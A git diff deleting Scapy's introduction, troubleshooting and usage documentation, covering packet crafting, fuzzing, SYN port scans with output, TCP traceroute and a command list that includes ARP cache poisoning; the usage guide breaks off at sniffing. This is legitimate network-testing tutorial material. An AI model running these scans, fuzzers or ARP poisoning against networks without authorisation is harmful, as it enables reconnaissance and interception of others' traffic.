-Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking a 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want, and stack them like you want. You're an adult after all.
-
-In fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy.
-
-After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times, ask for a traceroute and look at the padding for instance.
-
-Fast packet design
-------------------
-
-Other tools stick to the **program-that-you-run-from-a-shell** paradigm.
-The result is an awful syntax to describe a packet. For these tools, the
-solution adopted uses a higher but less powerful description, in the form of
-scenarios imagined by the tool's author. As an example, only the IP address must
-be given to a port scanner to trigger the **port scanning** scenario. Even
-if the scenario is tweaked a bit, you still are stuck to a port scan.
-
-Scapy's paradigm is to propose a Domain Specific Language (DSL) that
-enables a powerful and fast description of any kind of packet. Using the Python
-syntax and a Python interpreter as the DSL syntax and interpreter has many
-advantages: there is no need to write a separate interpreter, users don't need
-to learn yet another language and they benefit from a complete, concise
-and very powerful language.
-
-Scapy enables the user to describe a packet or set of packets as layers that are
-stacked one upon another. Fields of each layer have useful default values that
-can be overloaded. Scapy does not oblige the user to use predetermined methods
-or templates. This alleviates the requirement of writing a new tool each time a
-different scenario is required. In C, it may take an average of 60 lines to
-describe a packet. With Scapy, the packets to be sent may be described in only a
-single line with another line to print the result. 90\% of the network probing
-tools can be rewritten in 2 lines of Scapy.
-
-Probe once, interpret many
---------------------------
-
-Network discovery is blackbox testing. When probing a network, many stimuli are
-sent while only a few of them are answered. If the right stimuli are
-chosen, the desired information may be obtained by the responses or the lack of
-responses. Unlike many tools, Scapy gives all the information, i.e. all the
-stimuli sent and all the responses received. Examination of this data will give
-the user the desired information. When the dataset is small, the user can just
-dig for it. In other cases, the interpretation of the data will depend on the
-point of view taken. Most tools choose the viewpoint and discard all the data
-not related to that point of view. Because Scapy gives the complete raw data,
-that data may be used many times allowing the viewpoint to evolve during
-analysis. For example, a TCP port scan may be probed and the data visualized as
-the result of the port scan. The data could then also be visualized with respect
-to the TTL of response packet. A new probe need not be initiated to adjust the
-viewpoint of the data.
-
-.. image:: graphics/scapy-concept.*
- :scale: 80
-
-Scapy decodes, it does not interpret
-------------------------------------
-
-A common problem with network probing tools is they try to interpret the answers
-received instead of only decoding and giving facts. Reporting something like
-**Received a TCP Reset on port 80** is not subject to interpretation errors.
-Reporting **Port 80 is closed** is an interpretation that may be right most
-of the time but wrong in some specific contexts the tool's author did not
-imagine. For instance, some scanners tend to report a filtered TCP port when
-they receive an ICMP destination unreachable packet. This may be right, but in
-some cases it means the packet was not filtered by the firewall but rather there
-was no host to forward the packet to.
-
-Interpreting results can help users that don't know what a port scan is but
-it can also make more harm than good, as it injects bias into the results. What
-can tend to happen is that so that they can do the interpretation themselves,
-knowledgeable users will try to reverse engineer the tool's interpretation to
-derive the facts that triggered that interpretation. Unfortunately much
-information is lost in this operation.
-
-
-
-
-Quick demo
-==========
-
-First, we play a bit and create four IP packets at once. Let's see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded::
-
- # ./scapy.py -s mysession
- New session [mysession]
- Welcome to Scapy (0.9.17.108beta)
- >>> IP()
- <IP |>
- >>> target="www.target.com"
- >>> target="www.target.com/30"
- >>> ip=IP(dst=target)
- >>> ip
- <IP dst=<Net www.target.com/30> |>
- >>> [p for p in ip]
- [<IP dst=207.171.175.28 |>, <IP dst=207.171.175.29 |>,
- <IP dst=207.171.175.30 |>, <IP dst=207.171.175.31 |>]
- >>> ^D
-
-::
-
- # scapy -s mysession
- Using session [mysession]
- Welcome to Scapy (0.9.17.108beta)
- >>> ip
- <IP dst=<Net www.target.com/30> |>
-
-Now, let's manipulate some packets::
-
- >>> IP()
- <IP |>
- >>> a=IP(dst="172.16.1.40")
- >>> a
- <IP dst=172.16.1.40 |>
- >>> a.dst
- '172.16.1.40'
- >>> a.ttl
- 64
-
-Let's say I want a broadcast MAC address, and IP payload to ketchup.com
-and to mayo.com, TTL value from 1 to 9, and an UDP payload::
-
- >>> Ether(dst="ff:ff:ff:ff:ff:ff")
- /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9))
- /UDP()
-
-We have 18 packets defined in 1 line (1 implicit packet)
-
-Sensible default values
------------------------
-
-Scapy tries to use sensible default values for all packet fields.
-If not overridden,
-
-* IP source is chosen according to destination and routing table
-* Checksum is computed
-* Source MAC is chosen according to the output interface
-* Ethernet type and IP protocol are determined by the upper layer
-
-.. image:: graphics/default-values-ip.png
- :scale: 60
-
-Other fields’ default values are chosen to be the most useful ones:
-
-* TCP source port is 20, destination port is 80.
-* UDP source and destination ports are 53.
-* ICMP type is echo request.
-
-
-Learning Python
-===============
-
-Scapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.)
-
-If you are new to Python and you really don't understand a word because of that, or if you want to learn this language, take an hour to read the very good `Python tutorial <http://docs.python.org/tutorial/>`_ by Guido Van Rossum. After that, you'll know Python :) (really!). For a more in-depth tutorial `Dive Into Python <http://diveintopython.org/>`_ is a very good start too.
-
-For a quick start, here's an overview of Python's data types:
-
-* ``int`` (signed, 32bits) : ``42``
-* ``long`` (signed, infinite): ``42L``
-* ``str`` : ``"bell\x07\n"`` or ``’bell\x07\n’``
-
-* ``tuple`` (immutable): ``(1,4,"42")``
-* ``list`` (mutable): ``[4,2,"1"]``
-* ``dict`` (mutable): ``{ "one":1 , "two":2 }``
-
-There are no block delimiters in Python. Instead, indentation does matter::
-
- if cond:
- instr
- instr
- elif cond2:
- instr
- else:
- instr
-
-
diff --git a/doc/scapy/troubleshooting.rst b/doc/scapy/troubleshooting.rst
deleted file mode 100644
index 3249c5c2..00000000
--- a/doc/scapy/troubleshooting.rst
+++ /dev/null
@@ -1,69 +0,0 @@
-***************
-Troubleshooting
-***************
-
-FAQ
-===
-
-My TCP connections are reset by Scapy or by my kernel.
-------------------------------------------------------
-The kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls.
-
-I can't ping 127.0.0.1. Scapy does not work with 127.0.0.1 or on the loopback interface
----------------------------------------------------------------------------------------
-
-The loopback interface is a very special interface. Packets going through it are not really assembled and disassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with tcpdump -i lo is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it.
-
-In order to speak to local applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems than Linux)::
-
- >>> conf.L3socket
- <class __main__.L3PacketSocket at 0xb7bdf5fc>
- >>> conf.L3socket=L3RawSocket
- >>> sr1(IP(dst="127.0.0.1")/ICMP())
- <IP version=4L ihl=5L tos=0x0 len=28 id=40953 flags= frag=0L ttl=64 proto=ICMP chksum=0xdce5 src=127.0.0.1 dst=127.0.0.1 options='' |<ICMP type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |>>
-
-BPF filters do not work. I'm on a ppp link
-------------------------------------------
-
-This is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets).
-
-traceroute() does not work. I'm on a ppp link
----------------------------------------------
-
-This is a known bug. See BPF filters do not work. I'm on a ppp link
-
-To work around this, use ``nofilter=1``::
-
- >>> traceroute("target", nofilter=1)
-
-
-Graphs are ugly/fonts are too big/image is truncated.
------------------------------------------------------
-
-Quick fix: use png format::
-
- >>> x.graph(format="png")
-
-Upgrade to latest version of GraphViz.
-
-Try providing different DPI options (50,70,75,96,101,125, for instance)::
-
- >>> x.graph(options="-Gdpi=70")
-
-If it works, you can make it permanenent::
-
- >>> conf.prog.dot = "dot -Gdpi=70"
-
-You can also put this line in your ``~/.scapy_startup.py`` file
-
-
-Getting help
-============
-
-Common problems are answered in the FAQ.
-
-There's a low traffic mailing list at ``scapy.ml(at)secdev.org`` (`archive <http://news.gmane.org/gmane.comp.security.scapy.general>`_, `RSS, NNTP <http://gmane.org/info.php?group=gmane.comp.security.scapy.general>`_). You are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc. to this list. Subscribe by sending a mail to ``scapy.ml-subscribe(at)secdev.org``.
-
-
-
-To avoid spam, you must subscribe to the mailing list to post.
diff --git a/doc/scapy/usage.rst b/doc/scapy/usage.rst
deleted file mode 100644
index b7f422df..00000000
--- a/doc/scapy/usage.rst
+++ /dev/null
@@ -1,1556 +0,0 @@
-*****
-Usage
-*****
-
-Starting Scapy
-==============
-
-Scapy's interactive shell is run in a terminal session. Root privileges are needed to
-send the packets, so we're using ``sudo`` here::
-
- $ sudo scapy
- Welcome to Scapy (2.0.1-dev)
- >>>
-
-On Windows, please open a command prompt (``cmd.exe``) and make sure that you have
-administrator privileges::
-
- C:\>scapy
- INFO: No IPv6 support in kernel
- WARNING: No route found for IPv6 destination :: (no default route?)
- Welcome to Scapy (2.0.1-dev)
- >>>
-
-If you do not have all optional packages installed, Scapy will inform you that
-some features will not be available::
-
- INFO: Can't import python gnuplot wrapper . Won't be able to plot.
- INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
-
-The basic features of sending and receiving packets should still work, though.
-
-Screenshot
-----------
-
-If you have installed IPython, scapy will hook to it and you will be able to use auto-completion using the TAB.
-
-.. image:: graphics/scapy-main-console.png
- :align: center
-
-
-Interactive tutorial
-====================
-
-This section will show you several of Scapy's features.
-Just open a Scapy session as shown above and try the examples yourself.
-
-
-First steps
------------
-
-Let's build a packet and play with it::
-
- >>> a=IP(ttl=10)
- >>> a
- < IP ttl=10 |>
- >>> a.src
- ’127.0.0.1’
- >>> a.dst="192.168.1.1"
- >>> a
- < IP ttl=10 dst=192.168.1.1 |>
- >>> a.src
- ’192.168.8.14’
- >>> del(a.ttl)
- >>> a
- < IP dst=192.168.1.1 |>
- >>> a.ttl
- 64
-
-Stacking layers
----------------
-
-The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer.
-
-::
-
- >>> IP()
- <IP |>
- >>> IP()/TCP()
- <IP frag=0 proto=TCP |<TCP |>>
- >>> Ether()/IP()/TCP()
- <Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
- >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
- <IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
- >>> Ether()/IP()/IP()/UDP()
- <Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
- >>> IP(proto=55)/TCP()
- <IP frag=0 proto=55 |<TCP |>>
-
-
-.. image:: graphics/fieldsmanagement.png
- :scale: 90
-
-Each packet can be build or dissected (note: in Python ``_`` (underscore) is the latest result)::
-
- >>> raw(IP())
- 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
- >>> IP(_)
- <IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
- chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
- >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
- >>> hexdump(a)
- 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E.
- 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B#
- FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P.
- 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index
- 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 .
- 0A .
- >>> b=raw(a)
- >>> b
- '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
- \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
- \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
- >>> c=Ether(b)
- >>> c
- <Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
- ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
- src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
- ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
- options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
-
-We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default::
-
- >>> c.hide_defaults()
- >>> c
- <Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
- frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
- chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
-
-Reading PCAP files
-------------------
-
-.. index::
- single: rdpcap()
-
-You can read packets from a pcap file and write them to a pcap file.
-
- >>> a=rdpcap("/spare/captures/isakmp.cap")
- >>> a
- <isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>
-
-Graphical dumps (PDF, PS)
--------------------------
-
-.. index::
- single: pdfdump(), psdump()
-
-If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...)::
-
- >>> a[423].pdfdump(layer_shift=1)
- >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)
-
-.. image:: graphics/isakmp_dump.png
-
-
-
-======================= ====================================================
-Command Effect
-======================= ====================================================
-raw(pkt) assemble the packet
-hexdump(pkt) have an hexadecimal dump
-ls(pkt) have the list of fields values
-pkt.summary() for a one-line summary
-pkt.show() for a developed view of the packet
-pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance)
-pkt.sprintf() fills a format string with fields values of the packet
-pkt.decode_payload_as() changes the way the payload is decoded
-pkt.psdump() draws a PostScript diagram with explained dissection
-pkt.pdfdump() draws a PDF with explained dissection
-pkt.command() return a Scapy command that can generate the packet
-======================= ====================================================
-
-
-
-Generating sets of packets
---------------------------
-
-For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly define a set of packets, generated using a kind of cartesian product between all the fields.
-
-::
-
- >>> a=IP(dst="www.slashdot.org/30")
- >>> a
- <IP dst=Net('www.slashdot.org/30') |>
- >>> [p for p in a]
- [<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
- <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
- >>> b=IP(ttl=[1,2,(5,9)])
- >>> b
- <IP ttl=[1, 2, (5, 9)] |>
- >>> [p for p in b]
- [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
- <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
- >>> c=TCP(dport=[80,443])
- >>> [p for p in a/c]
- [<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
- <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
- <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
- <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
- <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
- <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
- <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
- <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]
-
-Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.
-
-=============== ====================================================
-Command Effect
-=============== ====================================================
-summary() displays a list of summaries of each packet
-nsummary() same as previous, with the packet number
-conversations() displays a graph of conversations
-show() displays the preferred representation (usually nsummary())
-filter() returns a packet list filtered with a lambda function
-hexdump() returns a hexdump of all packets
-hexraw() returns a hexdump of the Raw layer of all packets
-padding() returns a hexdump of packets with padding
-nzpadding() returns a hexdump of packets with non-zero padding
-plot() plots a lambda function applied to the packet list
-make table() displays a table according to a lambda function
-=============== ====================================================
-
-
-
-Sending packets
----------------
-
-.. index::
- single: Sending packets, send
-
-Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter.
-
-::
-
- >>> send(IP(dst="1.2.3.4")/ICMP())
- .
- Sent 1 packets.
- >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
- ....
- Sent 4 packets.
- >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
- ................^C
- Sent 16 packets.
- >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
- ...........
- Sent 11 packets.
-
- Returns packets sent by send()
- >>> send(IP(dst='127.0.0.1'), return_packets=True)
- .
- Sent 1 packets.
- <PacketList: TCP:0 UDP:0 ICMP:0 Other:1>
-
-
-Fuzzing
--------
-
-.. index::
- single: fuzz(), fuzzing
-
-The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quickly built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized. Note: If you use fuzz() in IP layer, src and dst parameter won't be random so in order to do that use RandIP().::
-
- >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
- ................^C
- Sent 16 packets.
-
-
-Send and receive packets (sr)
------------------------------
-
-.. index::
- single: sr()
-
-Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). If there is, no response a None value will be assigned instead when the timeout is reached.
-
-::
-
- >>> p = sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
- Begin emission:
- ...Finished to send 1 packets.
- .*
- Received 5 packets, got 1 answers, remaining 0 packets
- >>> p
- <IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
- chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
- code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
- |<Padding load='\x00\x00\x00\x00' |>>>>
- >>> p.show()
- ---[ IP ]---
- version = 4L
- ihl = 5L
- tos = 0x0
- len = 39
- id = 15489
- flags =
- frag = 0L
- ttl = 42
- proto = ICMP
- chksum = 0x51dd
- src = 66.35.250.151
- dst = 192.168.5.21
- options = ''
- ---[ ICMP ]---
- type = echo-reply
- code = 0
- chksum = 0xee45
- id = 0x0
- seq = 0x0
- ---[ Raw ]---
- load = 'XXXXXXXXXXX'
- ---[ Padding ]---
- load = '\x00\x00\x00\x00'
-
-
-.. index::
- single: DNS, Etherleak
-
-A DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw::
-
- >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
- Begin emission:
- Finished to send 1 packets.
- ..*
- Received 3 packets, got 1 answers, remaining 0 packets
- <IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
- src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
- |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
- nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
- an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
- ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>
-
-The "send'n'receive" functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions::
-
- >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
- Received 6 packets, got 3 answers, remaining 0 packets
- (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
- >>> ans, unans = _
- >>> ans.summary()
- IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
- IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
- IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding
-
-If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent::
-
- >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
- Begin emission:
- Finished to send 12 packets.
- Begin emission:
- Finished to send 9 packets.
- Begin emission:
- Finished to send 9 packets.
-
- Received 100 packets, got 3 answers, remaining 9 packets
- (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)
-
-
-SYN Scans
----------
-
-.. index::
- single: SYN Scan
-
-Classic SYN Scan can be initialized by executing the following command from Scapy's prompt::
-
- >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
-
-The above will send a single SYN packet to Google's port 80 and will quit after receiving a single response::
-
- Begin emission:
- .Finished to send 1 packets.
- *
- Received 2 packets, got 1 answers, remaining 0 packets
- <IP version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
- proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
- <TCP sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
- flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
- <Padding load='V\xf7' |>>>
-
-From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.
-
-Use either notations to scan ports 400 through 443 on the system:
-
- >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))
-
-or
-
- >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
-
-In order to quickly review responses simply request a summary of collected packets::
-
- >>> ans, unans = _
- >>> ans.summary()
- IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
- IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
- IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
- IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding
-
-The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:
-
- >>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
- 440 RA
- 441 RA
- 442 RA
- https SA
-
-Even better, a table can be built using the ``make_table()`` function to display information about multiple targets::
-
- >>> ans, unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
- Begin emission:
- .......*.**.......Finished to send 9 packets.
- **.*.*..*..................
- Received 362 packets, got 8 answers, remaining 1 packets
- >>> ans.make_table(
- ... lambda(s,r): (s.dst, s.dport,
- ... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
- 66.35.250.150 192.168.1.1 216.109.112.135
- 22 66.35.250.150 - dest-unreach RA -
- 80 SA RA SA
- 443 SA SA SA
-
-The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.
-
-For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set::
-
- >>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
- 0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA
-
-In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open::
-
- >>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
- https is open
-
-Again, for larger scans we can build a table of open ports::
-
- >>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
- ... (s.dst, s.dport, "X"))
- 66.35.250.150 192.168.1.1 216.109.112.135
- 80 X - X
- 443 X X X
-
-If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results::
-
- >>> report_ports("192.168.1.1",(440,443))
- Begin emission:
- ...*.**Finished to send 4 packets.
- *
- Received 8 packets, got 4 answers, remaining 0 packets
- '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
- & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
- TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'
-
-
-TCP traceroute
---------------
-
-.. index::
- single: Traceroute
-
-A TCP traceroute::
-
- >>> ans, unans = sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
- *****.******.*.***..*.**Finished to send 22 packets.
- ***......
- Received 33 packets, got 21 answers, remaining 1 packets
- >>> for snd,rcv in ans:
- ... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
- ...
- 5 194.51.159.65 0
- 6 194.51.159.49 0
- 4 194.250.107.181 0
- 7 193.251.126.34 0
- 8 193.251.126.154 0
- 9 193.251.241.89 0
- 10 193.251.241.110 0
- 11 193.251.241.173 0
- 13 208.172.251.165 0
- 12 193.251.241.173 0
- 14 208.172.251.165 0
- 15 206.24.226.99 0
- 16 206.24.238.34 0
- 17 173.109.66.90 0
- 18 173.109.88.218 0
- 19 173.29.39.101 1
- 20 173.29.39.101 1
- 21 173.29.39.101 1
- 22 173.29.39.101 1
- 23 173.29.39.101 1
- 24 173.29.39.101 1
-
-Note that the TCP traceroute and some other high-level functions are already coded::
-
- >>> lsc()
- sr : Send and receive packets at layer 3
- sr1 : Send packets at layer 3 and return only the first answer
- srp : Send and receive packets at layer 2
- srp1 : Send and receive packets at layer 2 and return only the first answer
- srloop : Send a packet at layer 3 in loop and print the answer each time
- srploop : Send a packet at layer 2 in loop and print the answer each time
- sniff : Sniff packets
- p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ?
- arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple
- send : Send packets at layer 3
- sendp : Send packets at layer 2
- traceroute : Instant TCP traceroute
- arping : Send ARP who-has requests to determine which hosts are up
- ls : List available layers, or infos on a given layer
- lsc : List user commands
- queso : Queso OS fingerprinting
- nmap_fp : nmap fingerprinting
- report_ports : portscan a target and output a LaTeX table
- dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata"
- dyndns_del : Send a DNS delete message to a nameserver for "name"
- [...]
-
-Configuring super sockets
--------------------------
-
-.. index::
- single: super socket
-
-The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don't guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I've just added a super socket which use libdnet and libpcap, so that it should be portable::
-
- >>> conf.L3socket=L3dnetSocket
- >>> conf.L3listen=L3pcapListenSocket
-
-Sniffing
---------
-
-.. index::
- single: sniff()
-
-We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on every interface::
-
